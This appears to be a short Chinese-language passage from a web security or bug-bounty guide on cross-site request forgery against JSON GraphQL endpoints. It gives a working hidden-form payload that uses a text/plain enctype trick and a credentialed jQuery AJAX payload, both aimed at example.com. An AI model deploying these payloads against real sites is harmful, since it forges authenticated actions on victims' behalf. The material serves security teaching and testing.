有两种方法可以修复附加=
标志:
- 使用标准CSRF 有效负载并在 JSON 属性字符串上下文中
form
“隐藏”符号=
- 使用 AJAX
您可以使用以下表单创建语法正确的 JSON POST 请求:
<html>
<form action="https://example.com/graphql" method=post enctype="text/plain" >
<input name='{"query": "[the query]","additional_parameter": "additional_value", "x":"' value='undefined"}' type='hidden'>
<input type="submit">
</form>
</html>
这将创建以下请求:
POST /graphql HTTP/1.1
Host: example.com
{"query": "[the query]","additional_parameter": "additional_value", "x":"=undefined"}
如果您有其他参数,某些应用程序可能会拒绝该请求。在这种情况下,您可以使用标准的 AJAX 请求:
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
<script>
$.ajax({
url: 'https://example.com/graphql',
type: 'POST',
// contentType: "application/json; charset=utf-8", // we can't change the content type unless CORS allows it
xhrFields: {
withCredentials: true
},
crossDomain: true,
headers: {
//'Accept': 'application/json, text/*' // we can't change the accept header unless CORS allows it
},
data: '{"query": "[the query]","additional_parameter": "additional_value"}'
,
success: function (result) {
console.log(result);
},
error: function(result) {
console.log(result);
}
});
</script>
这将起作用,因为对于 POST 请求,不会发出预检请求。由于 SOP,您无法读出响应,但会发送请求。
由于非 JSON 内容类型标头,应用程序可能仍会拒绝该请求,您通常无法使用 AJAX 对其进行修改。您可以在某些(较旧的)浏览器中使用 flash对其进行修改(通常是用于错误赏金的 oos),或者如果存在一些 CORS 配置错误。